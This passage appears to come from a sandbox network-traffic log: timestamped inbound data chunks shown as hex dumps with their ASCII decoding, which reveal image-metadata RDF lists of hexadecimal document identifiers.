2022-07-20 04:06:50 UTC	2564	IN	Data Raw: 41 46 36 45 42 45 32 46 45 32 38 37 33 35 35 43 37 43 45 34 30 31 39 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 39 45 36 39 34 33 35 44 32 36 33 30 34 32 34 45 35 33 42 39 34 44 44 39 31 45 42 44 37 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 30 41 41 31 34 39 46 41 33 39 37 37 34 44 30 36 37 46 38 36 45 33 45 31 43 41 32 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 30 46 42 43 32 41 35 39 35 39 37 37 30 31 37 38 45 30 41 34 38 44 30 36 43 38 32 37 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 36 37 37 34 38 38 46 36 30 38 35 32 39 43 37 34 43 33 45 39 44 33 42 45 32 32 36 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 41 31 43 35 42 41 30 38 36 33 Data Ascii: AF6EBE2FE287355C7CE401972C</rdf:li> <rdf:li>09E69435D2630424E53B94DD91EBD7C4</rdf:li> <rdf:li>0A00AA149FA39774D067F86E3E1CA2DE</rdf:li> <rdf:li>0A0FBC2A5959770178E0A48D06C8271D</rdf:li> <rdf:li>0A1677488F608529C74C3E9D3BE22620</rdf:li> <rdf:li>0A1C5BA0863
2022-07-20 04:06:50 UTC	2635	IN	Data Raw: 34 43 43 38 30 35 30 33 39 44 36 33 38 39 41 45 44 35 45 35 35 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 34 43 31 37 38 36 33 34 44 46 35 45 30 46 42 46 46 46 34 46 33 36 34 35 36 35 44 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 41 34 33 37 32 32 45 31 46 36 41 31 36 33 30 31 44 46 45 31 46 30 43 30 42 46 31 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 35 41 37 46 33 45 32 30 46 34 44 34 45 45 41 36 32 32 35 45 41 38 35 39 44 42 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 33 46 37 39 33 37 30 43 36 42 32 46 45 32 30 41 43 33 33 44 43 37 34 35 42 42 39 46 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 34 32 44 36 42 32 34 45 44 36 31 Data Ascii: 4CC805039D6389AED5E551F2</rdf:li> <rdf:li>1034C178634DF5E0FBFFF4F364565D5A</rdf:li> <rdf:li>103A43722E1F6A16301DFE1F0C0BF160</rdf:li> <rdf:li>103F5A7F3E20F4D4EEA6225EA859DB56</rdf:li> <rdf:li>103F79370C6B2FE20AC33DC745BB9F68</rdf:li> <rdf:li>1042D6B24ED61
2022-07-20 04:06:50 UTC	2723	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 31 44 39 46 38 45 42 36 36 31 36 37 37 36 38 45 34 46 30 39 46 46 46 30 39 31 38 34 44 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 41 33 35 32 35 36 44 31 45 41 42 32 45 32 44 36 34 37 44 33 46 36 45 33 46 46 42 45 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 43 43 36 46 42 35 46 30 38 35 46 39 41 44 41 34 43 31 42 38 46 32 44 33 30 39 38 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 45 36 30 36 46 42 30 43 34 37 35 44 44 34 34 46 37 39 36 43 44 42 37 46 37 42 41 41 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 46 36 41 43 46 30 43 32 45 34 46 43 35 43 35 37 31 31 41 36 44 38 31 43 39 31 38 39 43 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>1D9F8EB66167768E4F09FFF09184DF67</rdf:li> <rdf:li>1DA35256D1EAB2E2D647D3F6E3FFBE44</rdf:li> <rdf:li>1DCC6FB5F085F9ADA4C1B8F2D309842F</rdf:li> <rdf:li>1DE606FB0C475DD44F796CDB7F7BAA24</rdf:li> <rdf:li>1DF6ACF0C2E4FC5C5711A6D81C9189C9</rdf:li> <rdf:
2022-07-20 04:06:50 UTC	2755	IN	Data Raw: 31 43 46 37 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 39 30 44 34 43 41 39 32 46 36 43 44 41 33 39 36 37 42 37 38 38 30 38 42 37 39 39 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 35 30 31 43 41 42 37 46 46 34 33 32 44 43 39 35 31 39 37 44 30 44 34 39 36 34 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 42 41 42 39 35 39 41 32 46 33 30 41 36 37 34 36 36 39 36 41 41 46 30 32 32 39 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 42 46 35 31 36 37 46 31 41 32 35 35 45 37 39 41 45 31 45 41 45 32 38 43 33 43 32 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 41 43 37 33 31 46 41 44 34 43 46 41 32 44 36 30 43 32 34 45 30 46 45 32 33 42 32 32 45 44 Data Ascii: 1CF7DF</rdf:li> <rdf:li>2AB90D4CA92F6CDA3967B78808B799AC</rdf:li> <rdf:li>2ABB501CAB7FF432DC95197D0D4964E1</rdf:li> <rdf:li>2ABBAB959A2F30A6746696AAF0229D77</rdf:li> <rdf:li>2ABF5167F1A255E79AE1EAE28C3C2304</rdf:li> <rdf:li>2AC731FAD4CFA2D60C24E0FE23B22ED
2022-07-20 04:06:50 UTC	2771	IN	Data Raw: 3e 33 30 42 33 38 39 42 44 43 39 41 32 34 42 41 31 35 38 44 34 37 31 41 32 44 38 32 33 34 39 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 34 46 36 32 37 38 44 42 42 42 38 33 35 35 38 37 34 46 43 45 46 38 43 38 35 41 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 42 39 36 38 33 33 32 30 37 32 37 41 35 30 43 33 41 37 41 36 44 46 46 35 44 37 44 44 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 36 44 42 33 42 42 37 38 37 41 46 38 36 32 46 30 37 32 33 34 33 45 45 43 35 34 44 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 43 44 35 46 33 33 44 39 42 41 32 30 42 39 33 38 46 33 35 42 34 44 42 35 39 43 45 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 44 35 Data Ascii: >30B389BDC9A24BA158D471A2D8234940</rdf:li> <rdf:li>30B4F6278DBBB8355874FCEF8C85AB36</rdf:li> <rdf:li>30B9683320727A50C3A7A6DFF5D7DD0B</rdf:li> <rdf:li>30C6DB3BB787AF862F072343EEC54DDE</rdf:li> <rdf:li>30CD5F33D9BA20B938F35B4DB59CE65A</rdf:li> <rdf:li>30D5
2022-07-20 04:06:50 UTC	2874	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 44 46 45 43 46 46 30 46 38 30 39 37 44 36 38 37 46 34 42 33 31 37 30 36 30 31 37 33 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 33 35 38 39 38 34 36 46 43 36 46 42 44 34 41 34 39 36 38 45 42 42 32 37 35 31 44 46 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 34 35 41 37 31 39 34 30 32 36 45 43 31 32 31 41 41 37 38 46 45 41 38 45 38 36 38 42 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 35 31 39 38 42 37 45 36 42 32 46 35 36 44 41 44 32 42 36 39 33 32 37 33 46 37 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 35 30 37 39 37 31 36 41 30 42 45 45 32 33 32 46 32 41 46 34 46 45 44 43 39 32 34 46 35 45 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>3DFECFF0F8097D687F4B31706017342F</rdf:li> <rdf:li>3E3589846FC6FBD4A4968EBB2751DF99</rdf:li> <rdf:li>3E45A7194026EC121AA78FEA8E868B2D</rdf:li> <rdf:li>3E505198B7E6B2F56DAD2B693273F7C5</rdf:li> <rdf:li>3E5079716A0BEE232F2AF4FEDC924F5E</rdf:
2022-07-20 04:06:50 UTC	2890	IN	Data Raw: 41 45 34 34 43 44 43 32 38 39 39 42 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 30 35 43 36 37 37 36 44 33 44 44 41 32 44 35 38 38 37 34 32 33 32 35 44 31 39 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 35 30 45 33 36 37 38 34 45 44 43 37 39 30 39 39 32 30 42 44 32 46 46 33 44 37 36 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 45 36 46 37 43 37 39 43 35 41 38 43 36 32 41 34 45 37 32 46 31 36 45 32 43 37 41 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 41 46 46 41 35 43 33 42 44 42 45 39 30 41 33 44 46 46 39 39 35 31 44 36 46 46 45 33 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 42 34 39 37 41 32 36 41 34 41 43 32 32 33 31 46 39 33 34 45 Data Ascii: AE44CDC2899BA58</rdf:li> <rdf:li>4AA05C6776D3DDA2D588742325D193A7</rdf:li> <rdf:li>4AA50E36784EDC7909920BD2FF3D7655</rdf:li> <rdf:li>4AAE6F7C79C5A8C62A4E72F16E2C7A7C</rdf:li> <rdf:li>4AAFFA5C3BDBE90A3DFF9951D6FFE397</rdf:li> <rdf:li>4AB497A26A4AC2231F934E
2022-07-20 04:06:50 UTC	2970	IN	Data Raw: 45 34 38 34 46 31 37 46 37 33 30 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 33 43 38 45 31 33 31 33 33 46 34 44 41 37 34 38 39 44 33 45 41 31 31 37 30 31 33 30 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 34 42 36 43 36 34 45 31 35 36 34 32 42 44 42 33 36 37 46 32 45 39 44 46 34 35 30 36 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 35 46 46 34 43 32 30 42 44 32 43 30 34 34 37 43 31 43 44 45 44 32 39 33 34 36 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 46 34 35 46 44 38 41 34 36 42 41 44 43 37 39 34 45 41 30 44 36 45 45 31 43 37 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 38 30 34 36 35 32 45 34 37 36 31 30 41 31 37 31 45 46 46 30 43 46 Data Ascii: E484F17F730DD</rdf:li> <rdf:li>513C8E13133F4DA7489D3EA117013087</rdf:li> <rdf:li>514B6C64E15642BDB367F2E9DF45065E</rdf:li> <rdf:li>5165FF4C20BD2C0447C1CDED29346B41</rdf:li> <rdf:li>516F45FD8A46BADC794EA0D6EE1C7EAA</rdf:li> <rdf:li>51804652E47610A171EFF0CF
2022-07-20 04:06:50 UTC	3017	IN	Data Raw: 42 44 46 46 39 31 34 43 43 37 34 33 43 37 33 46 42 38 39 36 45 43 32 30 46 37 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 32 31 39 42 34 36 32 45 41 34 31 35 30 33 44 31 41 36 42 42 32 31 35 37 44 39 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 38 33 43 45 32 37 32 43 44 31 44 38 39 33 45 30 43 44 31 45 42 31 41 38 35 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 42 33 42 31 44 31 44 33 42 45 45 33 33 35 44 44 44 34 38 32 30 37 31 31 33 42 30 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 30 38 34 39 37 41 36 38 45 34 31 31 46 37 38 31 33 41 42 45 42 44 46 45 42 42 33 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 32 38 34 32 30 Data Ascii: BDFF914CC743C73FB896EC20F72EB</rdf:li> <rdf:li>5FA219B462EA41503D1A6BB2157D9DC6</rdf:li> <rdf:li>5FA83CE272CD1D893E0CD1EB1A859E86</rdf:li> <rdf:li>5FB3B1D1D3BEE335DDD48207113B08EA</rdf:li> <rdf:li>5FD08497A68E411F7813ABEBDFEBB3D8</rdf:li> <rdf:li>5FD28420
2022-07-20 04:06:50 UTC	3033	IN	Data Raw: 37 33 30 37 44 32 43 36 45 44 30 34 46 36 36 45 33 33 44 37 38 41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 34 36 35 31 37 39 42 41 35 38 34 41 35 36 39 46 45 42 44 30 35 46 41 30 39 31 32 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 36 38 33 42 32 33 42 34 34 37 30 35 46 36 42 38 35 44 36 41 36 44 44 33 31 44 43 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 44 39 45 43 45 36 34 41 43 30 34 33 44 39 35 41 43 32 38 42 38 38 35 35 41 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 35 34 35 39 45 44 42 37 39 37 43 41 41 41 41 38 35 38 43 30 37 35 36 34 35 38 37 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 38 46 41 34 44 32 34 35 31 33 Data Ascii: 7307D2C6ED04F66E33D78A34</rdf:li> <rdf:li>6DD465179BA584A569FEBD05FA091253</rdf:li> <rdf:li>6DD683B23B44705F6B85D6A6DD31DCF2</rdf:li> <rdf:li>6DDD9ECE64AC043D95AC28B8855AEB01</rdf:li> <rdf:li>6E05459EDB797CAAAA858C07564587A8</rdf:li> <rdf:li>6E08FA4D24513
2022-07-20 04:06:50 UTC	3129	IN	Data Raw: 38 34 36 37 38 32 44 41 38 33 33 35 37 32 33 34 45 44 31 46 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 32 39 44 38 41 41 39 41 38 30 37 41 46 44 46 35 35 33 41 32 30 43 44 37 31 32 44 39 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 33 43 38 34 41 31 36 33 35 33 41 31 30 31 32 43 44 42 35 41 41 35 43 44 38 45 36 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 30 35 34 44 38 44 34 46 45 44 35 45 41 46 41 34 38 34 38 46 37 37 35 41 36 36 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 33 45 44 36 31 46 37 44 42 37 42 42 43 41 41 37 44 30 31 42 31 32 37 45 38 42 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 36 32 42 46 42 44 36 46 32 33 44 46 35 Data Ascii: 846782DA83357234ED1F69</rdf:li> <rdf:li>7529D8AA9A807AFDF553A20CD712D991</rdf:li> <rdf:li>753C84A16353A1012CDB5AA5CD8E6A9B</rdf:li> <rdf:li>7540054D8D4FED5EAFA4848F775A665C</rdf:li> <rdf:li>75403ED61F7DB7BBCAA7D01B127E8BB6</rdf:li> <rdf:li>7562BFBD6F23DF5
2022-07-20 04:06:50 UTC	3157	IN	Data Raw: 64 66 3a 6c 69 3e 38 32 41 37 30 37 45 37 34 43 43 30 30 42 39 39 43 37 36 31 43 32 39 42 38 38 46 45 32 41 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 39 45 32 36 43 32 42 31 34 42 33 38 38 41 39 37 38 30 30 31 41 37 43 41 34 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 44 42 37 35 42 33 35 38 31 39 45 30 44 42 38 34 31 42 42 33 41 33 44 33 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 43 34 30 34 42 36 31 44 33 37 36 31 32 38 41 33 41 43 33 37 37 31 30 45 43 34 35 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 44 34 41 46 33 33 35 36 37 43 45 44 32 34 36 32 31 37 30 32 45 42 43 41 45 45 46 38 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>82A707E74CC00B99C761C29B88FE2AC0</rdf:li> <rdf:li>82AE49E26C2B14B388A978001A7CA4DB</rdf:li> <rdf:li>82AE4DB75B35819E0DB841BB3A3D322D</rdf:li> <rdf:li>82C404B61D376128A3AC37710EC45027</rdf:li> <rdf:li>82D4AF33567CED24621702EBCAEEF80A</rdf:li> <rdf:li
2022-07-20 04:06:50 UTC	3212	IN	Data Raw: 34 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 38 33 43 32 35 39 42 31 42 41 45 30 30 31 37 30 36 37 37 33 42 44 38 31 38 31 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 34 46 46 41 43 31 30 43 44 35 41 33 37 33 45 39 38 30 46 43 35 42 31 46 41 31 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 35 42 39 43 42 33 41 30 34 31 37 34 34 41 44 38 38 39 46 33 38 41 39 39 35 43 42 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 32 32 32 37 34 41 35 36 36 30 39 43 33 45 35 46 32 43 38 32 42 46 32 45 43 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 42 37 38 36 35 38 37 45 38 32 31 46 30 38 41 30 43 38 43 42 30 36 46 44 36 34 44 39 46 3c Data Ascii: 43A7</rdf:li> <rdf:li>8F783C259B1BAE001706773BD8181D88</rdf:li> <rdf:li>8F94FFAC10CD5A373E980FC5B1FA16C4</rdf:li> <rdf:li>8F95B9CB3A041744AD889F38A995CB45</rdf:li> <rdf:li>8FA22274A56609C3E5F2C82BF2EC09B8</rdf:li> <rdf:li>8FAB786587E821F08A0C8CB06FD64D9F<
2022-07-20 04:06:50 UTC	3236	IN	Data Raw: 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 46 43 42 39 42 45 44 35 41 44 35 32 30 30 34 44 30 34 38 35 43 32 44 34 33 39 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 31 44 39 32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 34 32 34 31 32 32 32 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 38 36 44 34 44 46 43 37 36 37 38 36 33 33 45 38 30 37 46 45 45 31 31 42 45 38 32 37 30 3c 2f 72 Data Ascii: 67</rdf:li> <rdf:li>96FCB9BED5AD52004D0485C2D4393282</rdf:li> <rdf:li>971D921784A4391E1EEA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>9744251F97AE9261B5FC584241222195</rdf:li> <rdf:li>97486D4DFC7678633E807FEE11BE8270</r
2022-07-20 04:06:50 UTC	3323	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 32 37 45 37 32 31 44 41 43 46 44 46 33 45 33 45 31 42 46 39 39 39 38 43 37 44 36 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 33 45 33 36 36 36 31 44 35 44 39 38 38 45 42 45 41 42 36 42 35 31 42 44 41 45 37 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 35 38 30 37 44 38 41 45 35 45 35 41 45 34 31 33 32 37 32 44 31 42 46 34 39 33 33 44 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 35 34 41 37 31 36 38 35 39 31 37 39 33 44 38 31 46 31 46 42 34 39 42 31 36 45 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 46 32 37 37 43 35 43 41 36 36 31 30 36 41 38 42 41 46 44 43 46 32 33 35 46 39 42 33 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>A427E721DACFDF3E3E1BF9998C7D6D0E</rdf:li> <rdf:li>A43E36661D5D988EBEAB6B51BDAE7CD9</rdf:li> <rdf:li>A45807D8AE5E5AE413272D1BF4933D7F</rdf:li> <rdf:li>A46254A7168591793D81F1FB49B16E6A</rdf:li> <rdf:li>A462F277C5CA66106A8BAFDCF235F9B3</rdf:li
2022-07-20 04:06:50 UTC	3339	IN	Data Raw: 43 32 42 30 46 34 45 35 34 30 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 30 37 32 44 30 30 41 33 31 41 36 34 44 37 39 33 35 42 34 42 41 32 45 32 44 33 39 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 35 37 37 35 43 43 34 30 44 35 37 32 44 34 38 41 33 43 44 45 43 31 30 36 34 46 45 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 36 38 46 31 39 42 42 36 31 37 39 42 37 44 38 35 45 36 35 43 39 37 38 43 32 39 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 33 44 30 45 33 34 32 43 34 35 33 41 35 45 43 39 34 37 45 43 32 37 44 38 37 42 41 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 41 46 38 44 33 37 37 36 41 43 30 32 37 44 39 43 32 33 42 37 41 Data Ascii: C2B0F4E540B30</rdf:li> <rdf:li>B1B072D00A31A64D7935B4BA2E2D3989</rdf:li> <rdf:li>B1B5775CC40D572D48A3CDEC1064FE25</rdf:li> <rdf:li>B1B68F19BB6179B7D85E65C978C29E09</rdf:li> <rdf:li>B1D3D0E342C453A5EC947EC27D87BA7B</rdf:li> <rdf:li>B1DAF8D3776AC027D9C23B7A
2022-07-20 04:06:50 UTC	3347	IN	Data Raw: 45 32 35 35 43 46 39 30 45 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 39 35 39 41 42 32 45 41 35 46 34 46 33 41 38 36 38 43 42 37 35 46 43 43 34 34 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 41 38 43 36 30 42 41 46 46 33 34 37 46 45 31 41 31 37 31 38 37 42 46 31 32 37 46 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 32 37 44 45 43 33 35 38 45 43 41 42 36 39 34 32 45 36 36 39 32 42 43 43 33 33 37 37 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 33 32 44 33 34 37 44 34 37 35 39 42 37 45 33 44 30 44 41 45 43 43 38 31 42 32 44 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 35 44 36 41 45 46 43 42 37 34 37 42 43 36 39 31 43 30 46 37 31 38 31 46 Data Ascii: E255CF90EEF</rdf:li> <rdf:li>B80959AB2EA5F4F3A868CB75FCC44319</rdf:li> <rdf:li>B80A8C60BAFF347FE1A17187BF127FF9</rdf:li> <rdf:li>B827DEC358ECAB6942E6692BCC3377CA</rdf:li> <rdf:li>B832D347D4759B7E3D0DAECC81B2D07B</rdf:li> <rdf:li>B85D6AEFCB747BC691C0F7181F
2022-07-20 04:06:50 UTC	3397	IN	Data Raw: 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 37 35 30 37 46 32 37 31 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 34 41 34 44 41 34 42 39 32 33 43 35 39 30 43 36 36 33 32 45 37 41 45 35 41 44 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 46 35 46 30 34 38 41 34 43 42 42 34 35 33 34 39 38 45 31 46 42 Data Ascii: BF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE5002FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F7507F271EF</rdf:li> <rdf:li>B974A4DA4B923C590C6632E7AE5AD8F3</rdf:li> <rdf:li>B97F5F048A4CBB453498E1FB
2022-07-20 04:06:50 UTC	3604	IN	Data Raw: 32 36 38 39 39 36 38 32 42 38 41 32 44 45 32 42 33 37 30 35 44 32 35 30 45 30 43 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 32 43 39 41 33 34 45 46 44 33 34 32 38 43 31 33 31 39 44 46 45 35 46 32 45 36 41 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 42 42 34 32 39 46 35 31 43 38 45 41 37 45 32 36 32 31 30 33 36 41 41 30 39 30 36 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 32 38 38 37 33 36 30 30 33 39 43 39 37 42 37 34 38 32 34 43 33 30 39 36 31 39 41 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 39 33 41 38 46 44 43 44 30 33 42 46 36 30 46 33 32 39 45 36 36 33 46 37 33 45 36 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 43 32 32 43 45 38 Data Ascii: 26899682B8A2DE2B3705D250E0C29</rdf:li> <rdf:li>C7A2C9A34EFD3428C1319DFE5F2E6A9F</rdf:li> <rdf:li>C7ABB429F51C8EA7E2621036AA09069E</rdf:li> <rdf:li>C7B2887360039C97B74824C309619A49</rdf:li> <rdf:li>C7B93A8FDCD03BF60F329E663F73E67C</rdf:li> <rdf:li>C7C22CE8
